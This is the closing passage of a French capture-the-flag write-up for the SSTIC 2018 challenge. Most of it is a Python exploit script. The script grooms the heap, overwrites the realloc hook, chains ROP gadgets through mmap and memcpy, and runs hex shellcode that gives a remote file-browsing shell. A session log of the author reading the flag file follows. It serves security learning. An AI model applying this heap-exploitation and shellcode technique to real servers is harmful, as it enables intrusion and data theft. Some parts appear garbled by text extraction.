474     _5subnode7      = "0700000000000005"
475     _5subnode8      = "0800000000000005"
476     _5subnode_list = [_5subnode1,_5subnode2,_5subnode3,_5subnode4,_5subnode5,_5subnode6,_5subnode7,
477     _5subnode8]

478
479     nodeid6        = "0000000000000006"
480     _6subnode1      = "4545454545454545"      # memory marker
481     _6subnode2      = "0200000000000006"
482     _6subnode3      = "0300000000000006"
483     _6subnode4      = "0400000000000006"
484     _6subnode5      = "0500000000000006"
485     _6subnode6      = "0600000000000006"
486     _6subnode7      = "0700000000000006"
487     _6subnode8      = "0800000000000006"
488     _6subnode9      = "0900000000000006"
489     _6subnode10     = "1000000000000006"
490     _6subnode11     = "1100000000000006"
491     _6subnode12     = "0000000000000041" # -> redefinition of the node 0x61 update to 0x41 to get more
492     qword to be written
493     _6subnode_list = [_6subnode1,_6subnode2,_6subnode3,_6subnode4,_6subnode5,_6subnode6,_6subnode7,
494     _6subnode8,_6subnode9,_6subnode10,_6subnode11,_6subnode12]

496
497     nodeid7        = "0000000000000007"
498     _7subnode1      = "0707070707070707" # marker to see the 0x41 node
499     _7subnode2      = "0200000000000007"
500     _7subnode3      = "0300000000000007"
501     _7subnode4      = "0400000000000007"
502     _7subnode5      = "0500000000000007"
503     _7subnode6      = "0600000000000007"
504     _7subnode7      = "0000000000000030"
505     _7subnode8      = "0000000000000061" # control end of futur 0x41
506     _7subnode_list = [_7subnode1,_7subnode2,_7subnode3,_7subnode4,_7subnode5,_7subnode6,_7subnode7,
507     _7subnode8]

# Final attack
508     nodeid8        = "0000000000000008"
509     nodeid9        = "48484848484848"
510     nodeid10       = "49494949494949"
511     nodeid11       = "0000000000000011"
512     nodeid12       = "50505050505050"
513     nodeid13       = "51515151515151"
514     nodeid14       = "52525252525252"
515     nodeid15       = "5353535353535353"

```

```

517     nodeid16 = "DEADBEEFDEADBEEF"
518     nodeid17 = "COFFECOFFECOFFEC"
519     nodeid18 = "1818181818181818"
520     nodeid19 = "1919191919191919"
521
522     aes_key = generate_aes_key()
523     host = sys.argv[1]
524     port = sys.argv[2]
525
526
527     s1,aes_server1_key= launch_node(aes_key,nodeid1,host,port)
528     s2,aes_server2_key= launch_node(aes_key,nodeid2,host,port)
529     s3,aes_server3_key= launch_node(aes_key,nodeid3,host,port)
530     s4,aes_server4_key= launch_node(aes_key,nodeid4,host,port)
531     s5,aes_server5_key= launch_node(aes_key,nodeid5,host,port)
532     s6,aes_server6_key= launch_node(aes_key,nodeid6,host,port)
533     s7,aes_server7_key= launch_node(aes_key,nodeid7,host,port)
534
535
536     #launch_subnode(s1,aes_server1_key,nodeid1,_1subnode1 )
537     for subnode_id in _1subnode_list[:12]:
538         launch_subnode(s1,aes_server1_key,nodeid1,subnode_id )
539         time.sleep(1)
540
541     # Node 2
542     #launch_subnode(s1,aes_server1_key,nodeid1,_1subnode1 )
543     for subnode_id in _2subnode_list[:11]:
544         launch_subnode(s2,aes_server2_key,nodeid2,subnode_id )
545         time.sleep(1)
546
547
548     # realloc node1
549     launch_subnode(s1,aes_server1_key,nodeid1,_1subnode13 )
550
551     #overflow node2
552     launch_subnode(s2,aes_server2_key,nodeid2,_2subnode12 )
553
554
555     for subnode_id in _3subnode_list:
556         launch_subnode(s3,aes_server3_key,nodeid3,subnode_id )
557         time.sleep(1)
558     for subnode_id in _4subnode_list:
559         launch_subnode(s4,aes_server4_key,nodeid4,subnode_id )
560         time.sleep(1)
561     for subnode_id in _5subnode_list:
562         launch_subnode(s5,aes_server5_key,nodeid5,subnode_id )
563         time.sleep(1)
564     for subnode_id in _6subnode_list[:8]:
565         launch_subnode(s6,aes_server6_key,nodeid6,subnode_id )
566         time.sleep(1)
567     for subnode_id in _7subnode_list:
568         launch_subnode(s7,aes_server7_key,nodeid7,subnode_id )
569         time.sleep(1)
570
571     # rewrite the 0x61 in 0x41
572     for subnode_id in _6subnode_list[8:12]:
573         launch_subnode(s6,aes_server6_key,nodeid6,subnode_id )
574         time.sleep(1)
575
576
577
578     # Force free so S1 will be able to overlap 0x41 next pointer
579     s7.close()
580     s1.close()
581
582
583
584     s8,aes_server8_key= launch_node(aes_key,nodeid8,host,port)
585
586     aes_key=struct.pack("<Q",0x41) # set it as free
587     #aes_key+=struct.pack("<Q",0x7fffffffde000) #=> here we write in the @
588     # malloc hook
589     #aes_key+=struct.pack("<Q",0x6d78d0-0x10)
590     #free hook
591

```

```

#aes_key+=struct.pack("<Q",0x6D9D78-0x10)

593
# realloc hook 6D78C8
595 aes_key+=struct.pack("<Q",0x6D78C8-0x10)
597 s9,aes_server9_key= launch_node(aes_key,nodeid9,host,port)
aes_key=struct.pack("<Q",0x41) # set it as free
aes_key+=struct.pack("<Q",0x6D78C8-0x10)

599
s10,aes_server10_key= launch_node(aes_key,nodeid10,host,port)
601 s11,aes_server11_key= launch_node(aes_key,nodeid11,host,port)
s12,aes_server12_key= launch_node(aes_key,nodeid12,host,port)
603 s13,aes_server13_key= launch_node(aes_key,nodeid13,host,port)
s14,aes_server14_key= launch_node(aes_key,nodeid14,host,port)
605 s15,aes_server15_key= launch_node(aes_key,nodeid15,host,port)
s16,aes_server16_key= launch_node(aes_key,nodeid16,host,port)

607
process_read_job      ="0000000000401E40"
609 send_peering        ="0000000000401CB0"
send_ping              ="0000000000401CF0"
611 execve_nodeid      ="0000000000047ffa0"
start_read_job        ="00000000004022C0"
613 execute_job_no_fork="000000000040240c"
execute_in_heap        ="00000000006d78e0"
615 execute_shell_code  ="00007fffffa400"
gadget1                ="00000000004198a4"
617 read_job            ="00000000004022C0"
gadget_add_esp_0x58    ="0000000000454e89"
619 gadget_add_esp_0x68  ="0000000000454d7b"
gadget_add_esp_8        ="00000000004A89D4"
621 gadget_rcx_rdx_rep_movsb  ="00000000004515F1"
gadget_add_esp_0x18    ="0000000000454ba4"
623 gadget_pop_rdi      =0x400766
gadget_pop_rsi         =0x4017dc
625 gadget_pop_rbx_pop_rbp  ="0x4023A1"
gadget_pop_rdx          =0x454ee5
627 gadget_ret           =0x4515F6
gadget_pop_rdx_rsi     =0X4573f9
629 gadget_send          =0X4571B0
gadget_push_rsp         =0x4CF89c
631 gadget_addr_memmap   =0x455ce0
gadget_addr_memcpy      =0x42b1e0
633 gadget_addr_memcpyk  =0x4004A0
gadget_mov_rcx_rdx_repmovsb  =0x45323b
635 gadget_pop_rbx        =0x4083A4
gadget_pop_r13          =0x4A30Ec
637 gadget_pop_r14        =0x418A2D
gadget_pop_r12          =0x400663
639 gadget_pop_rbp         =0x4023A2
gadget_push_rax_call_rbx  =0x0045a018
641 gadget_pop_rdx_pop_rsi  =0x04573F9
gadget_ret               =0x47D7F9
643 gadget_jmp_rsi        =0x4ae59b
gadget_lea_r9_rsp_0x28_call_r12  =0x47e95a
645 gadget_push_rsp_and_al_0x10_call_rdx  =0x48bc8a
gadget_lea_rax_qword_rdi_sum_rsi  =0x47dc8
647 gadget_mov_rcx_rbx_mov_rdx_r14_mov_rsi_r13_call_rbp =0x0045323C

649
# mmmaps rwx / memcpy shellcode / jump

651 launch_subnode(s16,aes_server16_key,nodeid16,gadget_add_esp_0x68 )

653 ping_buffer_me= struct.pack("<Q",0xC0FFE)
exploit_buffer+=struct.pack("<Q",gadget_pop_rbx)
655 exploit_buffer+=struct.pack("<Q",0x22)

657
exploit_buffer+=struct.pack("<Q",gadget_pop_r14)
659 exploit_buffer+=struct.pack("<Q",0x7)
exploit_buffer+=struct.pack("<Q",gadget_pop_r13)
661 exploit_buffer+=struct.pack("<Q",0x1000)
exploit_buffer+=struct.pack("<Q",gadget_pop_rdi)
663 exploit_buffer+=struct.pack("<Q",0x7ff000)

665
# set rbp to pop return of call rbp then call mmap
exploit_buffer+=struct.pack("<Q",gadget_pop_rbp)

```

```

667 exploit_buffer+=struct.pack("<Q",gadget_pop_rbp)

669 exploit_buffer+=struct.pack("<Q",gadget_mov_rcx_rbx_mov_rdx_r14_mov_rsi_r13_call_rbp)
671 exploit_buffer+=struct.pack("<Q",gadget_addr_memmap)

673

675 # here we'll do again a call r9 will have a pointer to rsp
676 exploit_buffer+=struct.pack("<Q",gadget_pop_rdx)
677 # pop ret @ and get rsp
678 exploit_buffer+=struct.pack("<Q",gadget_pop_rdx_pop_rsi)

679 exploit_buffer+=struct.pack("<Q",gadget_push_rsp_and_al_0x10_call_rdx)
680 # rsi get my rsp buffer
681 #exploit_buffer+=struct.pack("<Q",gadget_pop_rsi)

683 # return of mmap prepare memcpy
684 exploit_buffer+=struct.pack("<Q",gadget_pop_rdi)
685 exploit_buffer+=struct.pack("<Q",0x78)

687 # rax =rsp+0x40
688 exploit_buffer+=struct.pack("<Q",gadget_lea_rax_qword_rdi_sum_rsi)

691

692 # set rbx to pop return of call rbx then continu with gadget_pop_rsi
693 exploit_buffer+=struct.pack("<Q",gadget_pop_rbx)
694 exploit_buffer+=struct.pack("<Q",gadget_pop_rdx_pop_rsi)

695 exploit_buffer+=struct.pack("<Q",gadget_push_rax_call_rbx)

697

699

700 # return of mmap prepare memcpy
701 exploit_buffer+=struct.pack("<Q",gadget_pop_rdi)
702 exploit_buffer+=struct.pack("<Q",0x7ff000)

703

705

706 exploit_buffer+=struct.pack("<Q",gadget_pop_rdx)
707 exploit_buffer+=struct.pack("<Q",0x1000)

709

710 exploit_buffer+=struct.pack("<Q",gadget_ret)
711 exploit_buffer+=struct.pack("<Q",gadget_addr_memcpy)

713

714 exploit_buffer+=struct.pack("<Q",gadget_pop_rsi)
715 exploit_buffer+=struct.pack("<Q",0x7ff000)

717 #Jump to payload
718 exploit_buffer+=struct.pack("<Q",gadget_jmp_rsi)

719

721

722 # Shell code with protocol F<name_of_file> D<name_of_dir>
723 payload=
724 "554889E54881EC80060000C745EC09000000C745E800000000C745E40000000048C745D8D04E450048C7
725 45D010FC470048C745C880FC470048C745C0A04F450048C745B8104D4500488DB590FBFFFF8B4DEC4
726 88B45D8BAFF03000089CFFF08945E88B45E84898C6840590FBFFFF00C745FC00000000EB208B45FC
727 83C00148980FB6940590FBFFFF8B45FC48988940590FAFFF8345FC018B45E883E8023B45FC7FD58
728 B45E883E8024898C6840590FAFFF000FB68590FBFFFF3C46754E488D9590FAFFF488B45B8BE0000
729 00004889D7FFD08945B4488DB590FBFFF8B4DB4488B45D8BA0004000089CFFF0488945A8488B55A
730 84888DB590FBFFFF8B4DEC488B45C089CFFF0E93CFFFFF0FB68590FBFFF3C440F8563010000488D
731 9590FAFFF488B45D04889D7FFD0488945A048837DA0007511488D3DDD960800E8406F0000E98D010
732 000488B55A0488B45C84889D7FFD04889459848837D98000F840B010000C745F800000000EB048345
733 F801488B55988B45F448980FB64402138C075EA488B45980FB640123C047579C745F400000000EB1
734 E488B55988B45F448980FB65402138B45F448988940580F9FFF8345F4018B45F43B45F87CDA8B45
735 F84898C6840580F9FFF2F8B45F883C0014898C6840580F9FFF0A8B45F883C0024898C6840580F9F
736 FFF008B45F883C0024863D0488DB580F9FFF8B4DEC488B45C089CFFF0EB67C745F000000000EB1E
737 488B55988B45F048980FB65402138B45F048988940580F9FFF8345F0018B45F03B45F87CDA8B45F
738 84898C6840580F9FFF0A8B45F883C0014898C6840580F9FFF008B45F883C0014863D0488DB580F9
739 FFFF8B4DEC488B45C089CFFF048837D98000F85CEFEFFF9CAFDFFFC68587FAFFF62C68588FAF
740 FFF69C68589FAFFF72C6858AFAFFFF64C6858BFAFFFF79C6858CFAFFFF6EC6858DFAFFFF61C6858E
741 FAFFFF6DC6858FFAFFFF0A488DB587FAFFF8B4DEC488B45C0BA0900000089CFFF0E96FFDFFFF"

```

```

743
745 exploit_buffer+=binascii.unhexlify(payload) +b'90'*1000
747 code1= "DEADBEEFDEADBEE1"
748 launch_subnode_rop(s6,aes_server6_key,nodeid6,gadget_add_esp_0x18 , exploit_buffer,1024)
749 code1= "DEADBEEFDEADBEE2"
750 # The node will receive my result
751 launch_c_and_c(s6,aes_server6_key,nodeid6,code1 )
752 # get a ping back
753 print "\033[32m[+] -----"
754 print "[+] Welcome: ", s6.recv(4096).replace('\n',"")
755 print "[+] ----- \033[0m"
756
757 s6.settimeout(2)
758 while True:
759     print "\033[32mEnter command >\033[0m"
760     cmd_line=raw_input()
761     s6.sendall(cmd_line+"\n")
762     while True:
763         try:
764             data = s6.recvfrom(4096)
765             if not data:
766                 break
767             print data[0]
768         except:
769             break

```

Je lance l'exploit, mon shellcode me répond, je peux maintenant me balader sur le disque du serveur.

```

$ ./exploit
[*] Id : 0000000000000006 0x6
[*] SubId : DEADBEEFDEADBEE2 0xdeadbeefdeadbeec2L
[*] Id packet : AAAA0000babar007f2f47a13918fc
[*] Cipher packet: 00000000000000000000000000000000bbd11a894fd998ad0027dae399d30538451624dd96e88675bdc9d5667ea87107f2f47a13918fc
[*] Welcome: birdynam
[*] -----
Enter command >
D/home/birdynam
birdynam
...
sstic/
./
Enter command >
D/home/sstic
...
agent.sh
.bashrc
.lessht
.profile
secret/
./
.bash_history
.viminfo
.ssh/
agent
.bash_logout
Enter command >
D/home/sstic/secret
...
sstic2018.flag
./
Enter command >
F/home/sstic/secret/sstic2018.flag
65r1o0ql380orndq763p96r74n0r51o816onpp68100s5p4s74955rqqro5507o@punyyratr.ffgvp.bet
Enter command >

```

Figure 14: Flag final

Un tout dernier **rot13** sur ce flag me donne la bonne adresse et clôture le challenge :

65e1b0d1380beadd763c96e74a0e51b816bacc68100f5c4f74955edde0c5507b@challenge.sstic.org : 24 mai 2018 à 17h47

## 7 Conclusion

J'ai trouvé le scénario assez génial, tout reste cohérent du début à la fin, pour finir par une exploitation à distance plutôt cool.

Evidemment quand on lit ce document, ça semble plutôt facile. Ca n'a pas été le cas.

J'ai énormement galéré avec le tas, que je n'avais jamais exploité. Pendant quasiment 2 semaines, j'ai réfléchi et expérimenté sur celui-ci.

J'ai perdu pas mal de temps sur l'extraction des données via **scapy**, puisque je n'avais pas vu qu'il y avait des paquets réseaux rejoués dans la capture wireshark.

J'ai longtemps pensé, qu'on pouvait retourner le serveur contre lui même en exploitant le ping et une écriture arbitraire. Je n'y suis pas parvenu.

J'espère que ce write-up apportera pas mal d'info à tout ceux qui se sont intéressés ou s'intéresseront à ce challenge.

bye bye!